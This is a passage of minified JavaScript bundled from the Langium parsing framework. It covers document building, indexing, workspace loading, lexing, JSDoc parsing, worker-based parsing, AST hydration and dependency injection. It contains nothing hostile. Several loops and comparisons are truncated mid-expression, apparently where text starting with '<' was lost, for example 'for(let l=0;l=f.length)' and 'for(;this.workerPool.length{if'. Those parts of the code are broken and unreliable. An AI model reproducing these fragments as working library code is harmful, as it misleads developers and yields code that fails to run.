l=this.onBuildPhase(e,()=>{if(l.dispose(),u.dispose(),i){let h=this.langiumDocuments.getDocument(i);a(h?.uri)}else a(void 0)}),u=n.onCancellationRequested(()=>{l.dispose(),u.dispose(),s(jc)})})}async notifyDocumentPhase(e,r,n){let a=this.documentPhaseListeners.get(r).slice();for(let s of a)try{await s(e,n)}catch(l){if(!Kc(l))throw l}}async notifyBuildPhase(e,r,n){if(e.length===0)return;let a=this.buildPhaseListeners.get(r).slice();for(let s of a)await bi(n),await s(e,n)}shouldValidate(e){return!!this.getBuildOptions(e).validation}async validate(e,r){var n,i;let a=this.serviceRegistry.getServices(e.uri).validation.DocumentValidator,s=this.getBuildOptions(e).validation,l=typeof s=="object"?s:void 0,u=await a.validateDocument(e,l,r);e.diagnostics?e.diagnostics.push(...u):e.diagnostics=u;let h=this.buildState.get(e.uri.toString());if(h){(n=h.result)!==null&&n!==void 0||(h.result={});let f=(i=l?.categories)!==null&&i!==void 0?i:X1.all;h.result.validationChecks?h.result.validationChecks.push(...f):h.result.validationChecks=[...f]}}getBuildOptions(e){var r,n;return(n=(r=this.buildState.get(e.uri.toString()))===null||r===void 0?void 0:r.options)!==null&&n!==void 0?n:{}}}});var Xb,xB=N(()=>{"use strict";hs();QS();el();Ys();Qc();Xb=class{static{o(this,"DefaultIndexManager")}constructor(e){this.symbolIndex=new Map,this.symbolByTypeIndex=new Zp,this.referenceIndex=new Map,this.documents=e.workspace.LangiumDocuments,this.serviceRegistry=e.ServiceRegistry,this.astReflection=e.AstReflection}findAllReferences(e,r){let n=Va(e).uri,i=[];return this.referenceIndex.forEach(a=>{a.forEach(s=>{vs.equals(s.targetUri,n)&&s.targetPath===r&&i.push(s)})}),an(i)}allElements(e,r){let n=an(this.symbolIndex.keys());return r&&(n=n.filter(i=>!r||r.has(i))),n.map(i=>this.getFileDescriptions(i,e)).flat()}getFileDescriptions(e,r){var n;return r?this.symbolByTypeIndex.get(e,r,()=>{var a;return((a=this.symbolIndex.get(e))!==null&&a!==void 0?a:[]).filter(l=>this.astReflection.isSubtype(l.type,r))}):(n=this.symbolIndex.get(e))!==null&&n!==void 0?n:[]}remove(e){let r=e.toString();this.symbolIndex.delete(r),this.symbolByTypeIndex.clear(r),this.referenceIndex.delete(r)}async updateContent(e,r=br.CancellationToken.None){let i=await this.serviceRegistry.getServices(e.uri).references.ScopeComputation.computeExports(e,r),a=e.uri.toString();this.symbolIndex.set(a,i),this.symbolByTypeIndex.clear(a)}async updateReferences(e,r=br.CancellationToken.None){let i=await this.serviceRegistry.getServices(e.uri).workspace.ReferenceDescriptionProvider.createDescriptions(e,r);this.referenceIndex.set(e.uri.toString(),i)}isAffected(e,r){let n=this.referenceIndex.get(e.uri.toString());return n?n.some(i=>!i.local&&r.has(i.targetUri.toString())):!1}}});var jb,bB=N(()=>{"use strict";el();tl();Qc();jb=class{static{o(this,"DefaultWorkspaceManager")}constructor(e){this.initialBuildOptions={},this._ready=new gs,this.serviceRegistry=e.ServiceRegistry,this.langiumDocuments=e.workspace.LangiumDocuments,this.documentBuilder=e.workspace.DocumentBuilder,this.fileSystemProvider=e.workspace.FileSystemProvider,this.mutex=e.workspace.WorkspaceLock}get ready(){return this._ready.promise}get workspaceFolders(){return this.folders}initialize(e){var r;this.folders=(r=e.workspaceFolders)!==null&&r!==void 0?r:void 0}initialized(e){return this.mutex.write(r=>{var n;return this.initializeWorkspace((n=this.folders)!==null&&n!==void 0?n:[],r)})}async initializeWorkspace(e,r=br.CancellationToken.None){let n=await this.performStartup(e);await bi(r),await this.documentBuilder.build(n,this.initialBuildOptions,r)}async performStartup(e){let r=this.serviceRegistry.all.flatMap(a=>a.LanguageMetaData.fileExtensions),n=[],i=o(a=>{n.push(a),this.langiumDocuments.hasDocument(a.uri)||this.langiumDocuments.addDocument(a)},"collector");return await this.loadAdditionalDocuments(e,i),await Promise.all(e.map(a=>[a,this.getRootFolder(a)]).map(async a=>this.traverseFolder(...a,r,i))),this._ready.resolve(),n}loadAdditionalDocuments(e,r){return Promise.resolve()}getRootFolder(e){return ys.parse(e.uri)}async traverseFolder(e,r,n,i){let a=await this.fileSystemProvider.readDirectory(r);await Promise.all(a.map(async s=>{if(this.includeEntry(e,s,n)){if(s.isDirectory)await this.traverseFolder(e,s.uri,n,i);else if(s.isFile){let l=await this.langiumDocuments.getOrCreateDocument(s.uri);i(l)}}}))}includeEntry(e,r,n){let i=vs.basename(r.uri);if(i.startsWith("."))return!1;if(r.isDirectory)return i!=="node_modules"&&i!=="out";if(r.isFile){let a=vs.extname(r.uri);return n.includes(a)}return!1}}});function r6(t){return Array.isArray(t)&&(t.length===0||"name"in t[0])}function wB(t){return t&&"modes"in t&&"defaultMode"in t}function TB(t){return!r6(t)&&!wB(t)}var Kb,t6,e0,n6=N(()=>{"use strict";Ff();Kb=class{static{o(this,"DefaultLexerErrorMessageProvider")}buildUnexpectedCharactersMessage(e,r,n,i,a){return x1.buildUnexpectedCharactersMessage(e,r,n,i,a)}buildUnableToPopLexerModeMessage(e){return x1.buildUnableToPopLexerModeMessage(e)}},t6={mode:"full"},e0=class{static{o(this,"DefaultLexer")}constructor(e){this.errorMessageProvider=e.parser.LexerErrorMessageProvider,this.tokenBuilder=e.parser.TokenBuilder;let r=this.tokenBuilder.buildTokens(e.Grammar,{caseInsensitive:e.LanguageMetaData.caseInsensitive});this.tokenTypes=this.toTokenTypeDictionary(r);let n=TB(r)?Object.values(r):r,i=e.LanguageMetaData.mode==="production";this.chevrotainLexer=new Zn(n,{positionTracking:"full",skipValidations:i,errorMessageProvider:this.errorMessageProvider})}get definition(){return this.tokenTypes}tokenize(e,r=t6){var n,i,a;let s=this.chevrotainLexer.tokenize(e);return{tokens:s.tokens,errors:s.errors,hidden:(n=s.groups.hidden)!==null&&n!==void 0?n:[],report:(a=(i=this.tokenBuilder).flushLexingReport)===null||a===void 0?void 0:a.call(i,e)}}toTokenTypeDictionary(e){if(TB(e))return e;let r=wB(e)?Object.values(e.modes).flat():e,n={};return r.forEach(i=>n[i.name]=i),n}};o(r6,"isTokenTypeArray");o(wB,"isIMultiModeLexerDefinition");o(TB,"isTokenTypeDictionary")});function SB(t,e,r){let n,i;typeof t=="string"?(i=e,n=r):(i=t.range.start,n=e),i||(i=tn.create(0,0));let a=xme(t),s=AB(n),l=ije({lines:a,position:i,options:s});return cje({index:0,tokens:l,position:i})}function CB(t,e){let r=AB(e),n=xme(t);if(n.length===0)return!1;let i=n[0],a=n[n.length-1],s=r.start,l=r.end;return!!s?.exec(i)&&!!l?.exec(a)}function xme(t){let e="";return typeof t=="string"?e=t:e=t.text,e.split(TO)}function ije(t){var e,r,n;let i=[],a=t.position.line,s=t.position.character;for(let l=0;l=f.length){if(i.length>0){let m=tn.create(a,s);i.push({type:"break",content:"",range:Gr.create(m,m)})}}else{yme.lastIndex=d;let m=yme.exec(f);if(m){let g=m[0],y=m[1],v=tn.create(a,s+d),x=tn.create(a,s+d+g.length);i.push({type:"tag",content:y,range:Gr.create(v,x)}),d+=g.length,d=EB(f,d)}if(d0&&i[i.length-1].type==="break"?i.slice(0,-1):i}function aje(t,e,r,n){let i=[];if(t.length===0){let a=tn.create(r,n),s=tn.create(r,n+e.length);i.push({type:"text",content:e,range:Gr.create(a,s)})}else{let a=0;for(let l of t){let u=l.index,h=e.substring(a,u);h.length>0&&i.push({type:"text",content:e.substring(a,u),range:Gr.create(tn.create(r,a+n),tn.create(r,u+n))});let f=h.length+1,d=l[1];if(i.push({type:"inline-tag",content:d,range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+d.length+n))}),f+=d.length,l.length===4){f+=l[2].length;let p=l[3];i.push({type:"text",content:p,range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+p.length+n))})}else i.push({type:"text",content:"",range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+n))});a=u+l[0].length}let s=e.substring(a);s.length>0&&i.push({type:"text",content:s,range:Gr.create(tn.create(r,a+n),tn.create(r,a+n+s.length))})}return i}function EB(t,e){let r=t.substring(e).match(sje);return r?e+r.index:t.length}function lje(t){let e=t.match(oje);if(e&&typeof e.index=="number")return e.index}function cje(t){var e,r,n,i;let a=tn.create(t.position.line,t.position.character);if(t.tokens.length===0)return new i6([],Gr.create(a,a));let s=[];for(;t.index0){let u=EB(e,a);s=e.substring(u),e=e.substring(0,a)}return(t==="linkcode"||t==="link"&&r.link==="code")&&(s=`\`${s}\``),(i=(n=r.renderLink)===null||n===void 0?void 0:n.call(r,e,s))!==null&&i!==void 0?i:pje(e,s)}}function pje(t,e){try{return ys.parse(t,!0),`[${e}](${t})`}catch{return t}}function vme(t){return t.endsWith(` +`)?` +`:` + +`}var yme,nje,sje,oje,i6,Qb,Zb,a6,_B=N(()=>{"use strict";BP();l1();Qc();o(SB,"parseJSDoc");o(CB,"isJSDoc");o(xme,"getLines");yme=/\s*(@([\p{L}][\p{L}\p{N}]*)?)/uy,nje=/\{(@[\p{L}][\p{L}\p{N}]*)(\s*)([^\r\n}]+)?\}/gu;o(ije,"tokenize");o(aje,"buildInlineTokens");sje=/\S/,oje=/\s*$/;o(EB,"skipWhitespace");o(lje,"lastCharacter");o(cje,"parseJSDocComment");o(uje,"parseJSDocElement");o(hje,"appendEmptyLine");o(bme,"parseJSDocText");o(fje,"parseJSDocInline");o(Tme,"parseJSDocTag");o(wme,"parseJSDocLine");o(AB,"normalizeOptions");o(kB,"normalizeOption");i6=class{static{o(this,"JSDocCommentImpl")}constructor(e,r){this.elements=e,this.range=r}getTag(e){return this.getAllTags().find(r=>r.name===e)}getTags(e){return this.getAllTags().filter(r=>r.name===e)}getAllTags(){return this.elements.filter(e=>"name"in e)}toString(){let e="";for(let r of this.elements)if(e.length===0)e=r.toString();else{let n=r.toString();e+=vme(e)+n}return e.trim()}toMarkdown(e){let r="";for(let n of this.elements)if(r.length===0)r=n.toMarkdown(e);else{let i=n.toMarkdown(e);r+=vme(r)+i}return r.trim()}},Qb=class{static{o(this,"JSDocTagImpl")}constructor(e,r,n,i){this.name=e,this.content=r,this.inline=n,this.range=i}toString(){let e=`@${this.name}`,r=this.content.toString();return this.content.inlines.length===1?e=`${e} ${r}`:this.content.inlines.length>1&&(e=`${e} +${r}`),this.inline?`{${e}}`:e}toMarkdown(e){var r,n;return(n=(r=e?.renderTag)===null||r===void 0?void 0:r.call(e,this))!==null&&n!==void 0?n:this.toMarkdownDefault(e)}toMarkdownDefault(e){let r=this.content.toMarkdown(e);if(this.inline){let a=dje(this.name,r,e??{});if(typeof a=="string")return a}let n="";e?.tag==="italic"||e?.tag===void 0?n="*":e?.tag==="bold"?n="**":e?.tag==="bold-italic"&&(n="***");let i=`${n}@${this.name}${n}`;return this.content.inlines.length===1?i=`${i} \u2014 ${r}`:this.content.inlines.length>1&&(i=`${i} +${r}`),this.inline?`{${i}}`:i}};o(dje,"renderInlineTag");o(pje,"renderLinkDefault");Zb=class{static{o(this,"JSDocTextImpl")}constructor(e,r){this.inlines=e,this.range=r}toString(){let e="";for(let r=0;rn.range.start.line&&(e+=` +`)}return e}toMarkdown(e){let r="";for(let n=0;ni.range.start.line&&(r+=` +`)}return r}},a6=class{static{o(this,"JSDocLineImpl")}constructor(e,r){this.text=e,this.range=r}toString(){return this.text}toMarkdown(){return this.text}};o(vme,"fillNewlines")});var Jb,DB=N(()=>{"use strict";hs();_B();Jb=class{static{o(this,"JSDocDocumentationProvider")}constructor(e){this.indexManager=e.shared.workspace.IndexManager,this.commentProvider=e.documentation.CommentProvider}getDocumentation(e){let r=this.commentProvider.getComment(e);if(r&&CB(r))return SB(r).toMarkdown({renderLink:o((i,a)=>this.documentationLinkRenderer(e,i,a),"renderLink"),renderTag:o(i=>this.documentationTagRenderer(e,i),"renderTag")})}documentationLinkRenderer(e,r,n){var i;let a=(i=this.findNameInPrecomputedScopes(e,r))!==null&&i!==void 0?i:this.findNameInGlobalScope(e,r);if(a&&a.nameSegment){let s=a.nameSegment.range.start.line+1,l=a.nameSegment.range.start.character+1,u=a.documentUri.with({fragment:`L${s},${l}`});return`[${n}](${u.toString()})`}else return}documentationTagRenderer(e,r){}findNameInPrecomputedScopes(e,r){let i=Va(e).precomputedScopes;if(!i)return;let a=e;do{let l=i.get(a).find(u=>u.name===r);if(l)return l;a=a.$container}while(a)}findNameInGlobalScope(e,r){return this.indexManager.allElements().find(i=>i.name===r)}}});var e4,LB=N(()=>{"use strict";ZS();Bl();e4=class{static{o(this,"DefaultCommentProvider")}constructor(e){this.grammarConfig=()=>e.parser.GrammarConfig}getComment(e){var r;return hB(e)?e.$comment:(r=jI(e.$cstNode,this.grammarConfig().multilineCommentRules))===null||r===void 0?void 0:r.text}}});var t4,RB,NB,MB=N(()=>{"use strict";tl();e6();t4=class{static{o(this,"DefaultAsyncParser")}constructor(e){this.syncParser=e.parser.LangiumParser}parse(e,r){return Promise.resolve(this.syncParser.parse(e))}},RB=class{static{o(this,"AbstractThreadedAsyncParser")}constructor(e){this.threadCount=8,this.terminationDelay=200,this.workerPool=[],this.queue=[],this.hydrator=e.serializer.Hydrator}initializeWorkers(){for(;this.workerPool.length{if(this.queue.length>0){let r=this.queue.shift();r&&(e.lock(),r.resolve(e))}}),this.workerPool.push(e)}}async parse(e,r){let n=await this.acquireParserWorker(r),i=new gs,a,s=r.onCancellationRequested(()=>{a=setTimeout(()=>{this.terminateWorker(n)},this.terminationDelay)});return n.parse(e).then(l=>{let u=this.hydrator.hydrate(l);i.resolve(u)}).catch(l=>{i.reject(l)}).finally(()=>{s.dispose(),clearTimeout(a)}),i.promise}terminateWorker(e){e.terminate();let r=this.workerPool.indexOf(e);r>=0&&this.workerPool.splice(r,1)}async acquireParserWorker(e){this.initializeWorkers();for(let n of this.workerPool)if(n.ready)return n.lock(),n;let r=new gs;return e.onCancellationRequested(()=>{let n=this.queue.indexOf(r);n>=0&&this.queue.splice(n,1),r.reject(jc)}),this.queue.push(r),r.promise}},NB=class{static{o(this,"ParserWorker")}get ready(){return this._ready}get onReady(){return this.onReadyEmitter.event}constructor(e,r,n,i){this.onReadyEmitter=new ei.Emitter,this.deferred=new gs,this._ready=!0,this._parsing=!1,this.sendMessage=e,this._terminate=i,r(a=>{let s=a;this.deferred.resolve(s),this.unlock()}),n(a=>{this.deferred.reject(a),this.unlock()})}terminate(){this.deferred.reject(jc),this._terminate()}lock(){this._ready=!1}unlock(){this._parsing=!1,this._ready=!0,this.onReadyEmitter.fire()}parse(e){if(this._parsing)throw new Error("Parser worker is busy");return this._parsing=!0,this.deferred=new gs,this.sendMessage(e),this.deferred.promise}}});var r4,IB=N(()=>{"use strict";el();tl();r4=class{static{o(this,"DefaultWorkspaceLock")}constructor(){this.previousTokenSource=new br.CancellationTokenSource,this.writeQueue=[],this.readQueue=[],this.done=!0}write(e){this.cancelWrite();let r=XS();return this.previousTokenSource=r,this.enqueue(this.writeQueue,e,r.token)}read(e){return this.enqueue(this.readQueue,e)}enqueue(e,r,n=br.CancellationToken.None){let i=new gs,a={action:r,deferred:i,cancellationToken:n};return e.push(a),this.performNextOperation(),i.promise}async performNextOperation(){if(!this.done)return;let e=[];if(this.writeQueue.length>0)e.push(this.writeQueue.shift());else if(this.readQueue.length>0)e.push(...this.readQueue.splice(0,this.readQueue.length));else return;this.done=!1,await Promise.all(e.map(async({action:r,deferred:n,cancellationToken:i})=>{try{let a=await Promise.resolve().then(()=>r(i));n.resolve(a)}catch(a){Kc(a)?n.resolve(void 0):n.reject(a)}})),this.done=!0,this.performNextOperation()}cancelWrite(){this.previousTokenSource.cancel()}}});var n4,OB=N(()=>{"use strict";FS();Hc();Pl();hs();H1();Bl();n4=class{static{o(this,"DefaultHydrator")}constructor(e){this.grammarElementIdMap=new Qp,this.tokenTypeIdMap=new Qp,this.grammar=e.Grammar,this.lexer=e.parser.Lexer,this.linker=e.references.Linker}dehydrate(e){return{lexerErrors:e.lexerErrors,lexerReport:e.lexerReport?this.dehydrateLexerReport(e.lexerReport):void 0,parserErrors:e.parserErrors.map(r=>Object.assign(Object.assign({},r),{message:r.message})),value:this.dehydrateAstNode(e.value,this.createDehyrationContext(e.value))}}dehydrateLexerReport(e){return e}createDehyrationContext(e){let r=new Map,n=new Map;for(let i of Jo(e))r.set(i,{});if(e.$cstNode)for(let i of Dp(e.$cstNode))n.set(i,{});return{astNodes:r,cstNodes:n}}dehydrateAstNode(e,r){let n=r.astNodes.get(e);n.$type=e.$type,n.$containerIndex=e.$containerIndex,n.$containerProperty=e.$containerProperty,e.$cstNode!==void 0&&(n.$cstNode=this.dehydrateCstNode(e.$cstNode,r));for(let[i,a]of Object.entries(e))if(!i.startsWith("$"))if(Array.isArray(a)){let s=[];n[i]=s;for(let l of a)li(l)?s.push(this.dehydrateAstNode(l,r)):Ta(l)?s.push(this.dehydrateReference(l,r)):s.push(l)}else li(a)?n[i]=this.dehydrateAstNode(a,r):Ta(a)?n[i]=this.dehydrateReference(a,r):a!==void 0&&(n[i]=a);return n}dehydrateReference(e,r){let n={};return n.$refText=e.$refText,e.$refNode&&(n.$refNode=r.cstNodes.get(e.$refNode)),n}dehydrateCstNode(e,r){let n=r.cstNodes.get(e);return Lx(e)?n.fullText=e.fullText:n.grammarSource=this.getGrammarElementId(e.grammarSource),n.hidden=e.hidden,n.astNode=r.astNodes.get(e.astNode),Ol(e)?n.content=e.content.map(i=>this.dehydrateCstNode(i,r)):If(e)&&(n.tokenType=e.tokenType.name,n.offset=e.offset,n.length=e.length,n.startLine=e.range.start.line,n.startColumn=e.range.start.character,n.endLine=e.range.end.line,n.endColumn=e.range.end.character),n}hydrate(e){let r=e.value,n=this.createHydrationContext(r);return"$cstNode"in r&&this.hydrateCstNode(r.$cstNode,n),{lexerErrors:e.lexerErrors,lexerReport:e.lexerReport,parserErrors:e.parserErrors,value:this.hydrateAstNode(r,n)}}createHydrationContext(e){let r=new Map,n=new Map;for(let a of Jo(e))r.set(a,{});let i;if(e.$cstNode)for(let a of Dp(e.$cstNode)){let s;"fullText"in a?(s=new B1(a.fullText),i=s):"content"in a?s=new Xp:"tokenType"in a&&(s=this.hydrateCstLeafNode(a)),s&&(n.set(a,s),s.root=i)}return{astNodes:r,cstNodes:n}}hydrateAstNode(e,r){let n=r.astNodes.get(e);n.$type=e.$type,n.$containerIndex=e.$containerIndex,n.$containerProperty=e.$containerProperty,e.$cstNode&&(n.$cstNode=r.cstNodes.get(e.$cstNode));for(let[i,a]of Object.entries(e))if(!i.startsWith("$"))if(Array.isArray(a)){let s=[];n[i]=s;for(let l of a)li(l)?s.push(this.setParent(this.hydrateAstNode(l,r),n)):Ta(l)?s.push(this.hydrateReference(l,n,i,r)):s.push(l)}else li(a)?n[i]=this.setParent(this.hydrateAstNode(a,r),n):Ta(a)?n[i]=this.hydrateReference(a,n,i,r):a!==void 0&&(n[i]=a);return n}setParent(e,r){return e.$container=r,e}hydrateReference(e,r,n,i){return this.linker.buildReference(r,n,i.cstNodes.get(e.$refNode),e.$refText)}hydrateCstNode(e,r,n=0){let i=r.cstNodes.get(e);if(typeof e.grammarSource=="number"&&(i.grammarSource=this.getGrammarElement(e.grammarSource)),i.astNode=r.astNodes.get(e.astNode),Ol(i))for(let a of e.content){let s=this.hydrateCstNode(a,r,n++);i.content.push(s)}return i}hydrateCstLeafNode(e){let r=this.getTokenType(e.tokenType),n=e.offset,i=e.length,a=e.startLine,s=e.startColumn,l=e.endLine,u=e.endColumn,h=e.hidden;return new Yp(n,i,{start:{line:a,character:s},end:{line:l,character:u}},r,h)}getTokenType(e){return this.lexer.definition[e]}getGrammarElementId(e){if(e)return this.grammarElementIdMap.size===0&&this.createGrammarElementIdMap(),this.grammarElementIdMap.get(e)}getGrammarElement(e){return this.grammarElementIdMap.size===0&&this.createGrammarElementIdMap(),this.grammarElementIdMap.getKey(e)}createGrammarElementIdMap(){let e=0;for(let r of Jo(this.grammar))Fx(r)&&this.grammarElementIdMap.set(r,e++)}}});function wa(t){return{documentation:{CommentProvider:o(e=>new e4(e),"CommentProvider"),DocumentationProvider:o(e=>new Jb(e),"DocumentationProvider")},parser:{AsyncParser:o(e=>new t4(e),"AsyncParser"),GrammarConfig:o(e=>PO(e),"GrammarConfig"),LangiumParser:o(e=>HP(e),"LangiumParser"),CompletionParser:o(e=>VP(e),"CompletionParser"),ValueConverter:o(()=>new Kp,"ValueConverter"),TokenBuilder:o(()=>new th,"TokenBuilder"),Lexer:o(e=>new e0(e),"Lexer"),ParserErrorMessageProvider:o(()=>new F1,"ParserErrorMessageProvider"),LexerErrorMessageProvider:o(()=>new Kb,"LexerErrorMessageProvider")},workspace:{AstNodeLocator:o(()=>new qb,"AstNodeLocator"),AstNodeDescriptionProvider:o(e=>new Ub(e),"AstNodeDescriptionProvider"),ReferenceDescriptionProvider:o(e=>new Hb(e),"ReferenceDescriptionProvider")},references:{Linker:o(e=>new Rb(e),"Linker"),NameProvider:o(()=>new Nb,"NameProvider"),ScopeProvider:o(e=>new Bb(e),"ScopeProvider"),ScopeComputation:o(e=>new Ib(e),"ScopeComputation"),References:o(e=>new Mb(e),"References")},serializer:{Hydrator:o(e=>new n4(e),"Hydrator"),JsonSerializer:o(e=>new Fb(e),"JsonSerializer")},validation:{DocumentValidator:o(e=>new Vb(e),"DocumentValidator"),ValidationRegistry:o(e=>new zb(e),"ValidationRegistry")},shared:o(()=>t.shared,"shared")}}function ka(t){return{ServiceRegistry:o(e=>new $b(e),"ServiceRegistry"),workspace:{LangiumDocuments:o(e=>new Lb(e),"LangiumDocuments"),LangiumDocumentFactory:o(e=>new Db(e),"LangiumDocumentFactory"),DocumentBuilder:o(e=>new Yb(e),"DocumentBuilder"),IndexManager:o(e=>new Xb(e),"IndexManager"),WorkspaceManager:o(e=>new jb(e),"WorkspaceManager"),FileSystemProvider:o(e=>t.fileSystemProvider(e),"FileSystemProvider"),WorkspaceLock:o(()=>new r4,"WorkspaceLock"),ConfigurationProvider:o(e=>new Wb(e),"ConfigurationProvider")}}}var PB=N(()=>{"use strict";BO();UP();qP();US();WP();aB();sB();oB();lB();uB();ZS();fB();dB();Gb();pB();mB();gB();vB();U1();xB();bB();n6();DB();LB();Ab();MB();IB();OB();o(wa,"createDefaultCoreModule");o(ka,"createDefaultSharedCoreModule")});function Hn(t,e,r,n,i,a,s,l,u){let h=[t,e,r,n,i,a,s,l,u].reduce(s6,{});return Ame(h)}function Cme(t){if(t&&t[Sme])for(let e of Object.values(t))Cme(e);return t}function Ame(t,e){let r=new Proxy({},{deleteProperty:o(()=>!1,"deleteProperty"),set:o(()=>{throw new Error("Cannot set property on injected service container")},"set"),get:o((n,i)=>i===Sme?!0:Eme(n,i,t,e||r),"get"),getOwnPropertyDescriptor:o((n,i)=>(Eme(n,i,t,e||r),Object.getOwnPropertyDescriptor(n,i)),"getOwnPropertyDescriptor"),has:o((n,i)=>i in t,"has"),ownKeys:o(()=>[...Object.getOwnPropertyNames(t)],"ownKeys")});return r}function Eme(t,e,r,n){if(e in t){if(t[e]instanceof Error)throw new Error("Construction failure. Please make sure that your dependencies are constructable.",{cause:t[e]});if(t[e]===kme)throw new Error('Cycle detected. Please make "'+String(e)+'" lazy. Visit https://langium.org/docs/reference/configuration-services/#resolving-cyclic-dependencies');return t[e]}else if(e in r){let i=r[e];t[e]=kme;try{t[e]=typeof i=="function"?i(n):Ame(i,n)}catch(a){throw t[e]=a instanceof Error?a:void 0,a}return t[e]}else return}function s6(t,e){if(e){for(let[r,n]of Object.entries(e))if(n!==void 0){let i=t[r];i!==null&&n!==null&&typeof i=="object"&&typeof n=="object"?t[r]=s6(i,n):t[r]=n}}return t}var BB,Sme,kme,FB=N(()=>{"use strict";(function(t){t.merge=(e,r)=>s6(s6({},e),r)})(BB||(BB={}));o(Hn,"inject");Sme=Symbol("isProxy");o(Cme,"eagerLoad");o(Ame,"_inject");kme=Symbol();o(Eme,"_resolve");o(s6,"_merge")});var _me=N(()=>{"use strict"});var Dme=N(()=>{"use strict";LB();DB();_B()});var Lme=N(()=>{"use strict"});var Rme=N(()=>{"use strict";BO();Lme()});var $B,t0,o6,zB,Nme=N(()=>{"use strict";Ff();US();n6();$B={indentTokenName:"INDENT",dedentTokenName:"DEDENT",whitespaceTokenName:"WS",ignoreIndentationDelimiters:[]};(function(t){t.REGULAR="indentation-sensitive",t.IGNORE_INDENTATION="ignore-indentation"})(t0||(t0={}));o6=class extends th{static{o(this,"IndentationAwareTokenBuilder")}constructor(e=$B){super(),this.indentationStack=[0],this.whitespaceRegExp=/[ \t]+/y,this.options=Object.assign(Object.assign({},$B),e),this.indentTokenType=Pf({name:this.options.indentTokenName,pattern:this.indentMatcher.bind(this),line_breaks:!1}),this.dedentTokenType=Pf({name:this.options.dedentTokenName,pattern:this.dedentMatcher.bind(this),line_breaks:!1})}buildTokens(e,r){let n=super.buildTokens(e,r);if(!r6(n))throw new Error("Invalid tokens built by default builder");let{indentTokenName:i,dedentTokenName:a,whitespaceTokenName:s,ignoreIndentationDelimiters:l}=this.options,u,h,f,d=[];for(let p of n){for(let[m,g]of l)p.name===m?p.PUSH_MODE=t0.IGNORE_INDENTATION:p.name===g&&(p.POP_MODE=!0);p.name===a?u=p:p.name===i?h=p:p.name===s?f=p:d.push(p)}if(!u||!h||!f)throw new Error("Some indentation/whitespace tokens not found!");return l.length>0?{modes:{[t0.REGULAR]:[u,h,...d,f],[t0.IGNORE_INDENTATION]:[...d,f]},defaultMode:t0.REGULAR}:[u,h,f,...d]}flushLexingReport(e){let r=super.flushLexingReport(e);return Object.assign(Object.assign({},r),{remainingDedents:this.flushRemainingDedents(e)})}isStartOfLine(e,r){return r===0||`\r +`.includes(e[r-1])}matchWhitespace(e,r,n,i){var a;this.whitespaceRegExp.lastIndex=r;let s=this.whitespaceRegExp.exec(e);return{currIndentLevel:(a=s?.[0].length)!==null&&a!==void 0?a:0,prevIndentLevel:this.indentationStack.at(-1),match:s}}createIndentationTokenInstance(e,r,n,i){let a=this.getLineNumber(r,i);return Qu(e,n,i,i+n.length,a,a,1,n.length)}getLineNumber(e,r){return e.substring(0,r).split(/\r\n|\r|\n/).length}indentMatcher(e,r,n,i){if(!this.isStartOfLine(e,r))return null;let{currIndentLevel:a,prevIndentLevel:s,match:l}=this.matchWhitespace(e,r,n,i);return a<=s?null:(this.indentationStack.push(a),l)}dedentMatcher(e,r,n,i){var a,s,l,u;if(!this.isStartOfLine(e,r))return null;let{currIndentLevel:h,prevIndentLevel:f,match:d}=this.matchWhitespace(e,r,n,i);if(h>=f)return null;let p=this.indentationStack.lastIndexOf(h);if(p===-1)return this.diagnostics.push({severity:"error",message:`Invalid dedent level ${h} at offset: ${r}. Current indentation stack: ${this.indentationStack}`,offset:r,length:(s=(a=d?.[0])===null||a===void 0?void 0:a.length)!==null&&s!==void 0?s:0,line:this.getLineNumber(e,r),column:1}),null;let m=this.indentationStack.length-p-1,g=(u=(l=e.substring(0,r).match(/[\r\n]+$/))===null||l===void 0?void 0:l[0].length)!==null&&u!==void 0?u:1;for(let y=0;y1;)r.push(this.createIndentationTokenInstance(this.dedentTokenType,e,"",e.length)),this.indentationStack.pop();return this.indentationStack=[0],r}},zB=class extends e0{static{o(this,"IndentationAwareLexer")}constructor(e){if(super(e),e.parser.TokenBuilder instanceof o6)this.indentationTokenBuilder=e.parser.TokenBuilder;else throw new Error("IndentationAwareLexer requires an accompanying IndentationAwareTokenBuilder")}tokenize(e,r=t6){let n=super.tokenize(e),i=n.report;r?.mode==="full"&&n.tokens.push(...i.remainingDedents),i.remainingDedents=[];let{indentTokenType:a,dedentTokenType:s}=this.indentationTokenBuilder,l=a.tokenTypeIdx,u=s.tokenTypeIdx,h=[],f=n.tokens.length-1;for(let d=0;d=0&&h.push(n.tokens[f]),n.tokens=h,n}}});var Mme=N(()=>{"use strict"});var Ime=N(()=>{"use strict";MB();UP();FS();Nme();qP();Ab();n6();VS();Mme();US();WP()});var Ome=N(()=>{"use strict";aB();sB();oB();cB();lB();uB()});var Pme=N(()=>{"use strict";OB();ZS()});var l6,Ea,GB=N(()=>{"use strict";l6=class{static{o(this,"EmptyFileSystemProvider")}readFile(){throw new Error("No file system is available.")}async readDirectory(){return[]}},Ea={fileSystemProvider:o(()=>new l6,"fileSystemProvider")}});function yje(){let t=Hn(ka(Ea),gje),e=Hn(wa({shared:t}),mje);return t.ServiceRegistry.register(e),e}function Zc(t){var e;let r=yje(),n=r.serializer.JsonSerializer.deserialize(t);return r.shared.workspace.LangiumDocumentFactory.fromModel(n,ys.parse(`memory://${(e=n.name)!==null&&e!==void 0?e:"grammar"}.langium`)),n}var mje,gje,Bme=N(()=>{"use strict";PB();FB();Hc();GB();Qc();mje={Grammar:o(()=>{},"Grammar"),LanguageMetaData:o(()=>({caseInsensitive:!1,fileExtensions:[".langium"],languageId:"langium"}),"LanguageMetaData")},gje={AstReflection:o(()=>new i1,"AstReflection")};o(yje,"createMinimalGrammarServices");o(Zc,"loadGrammarFromJson")});var 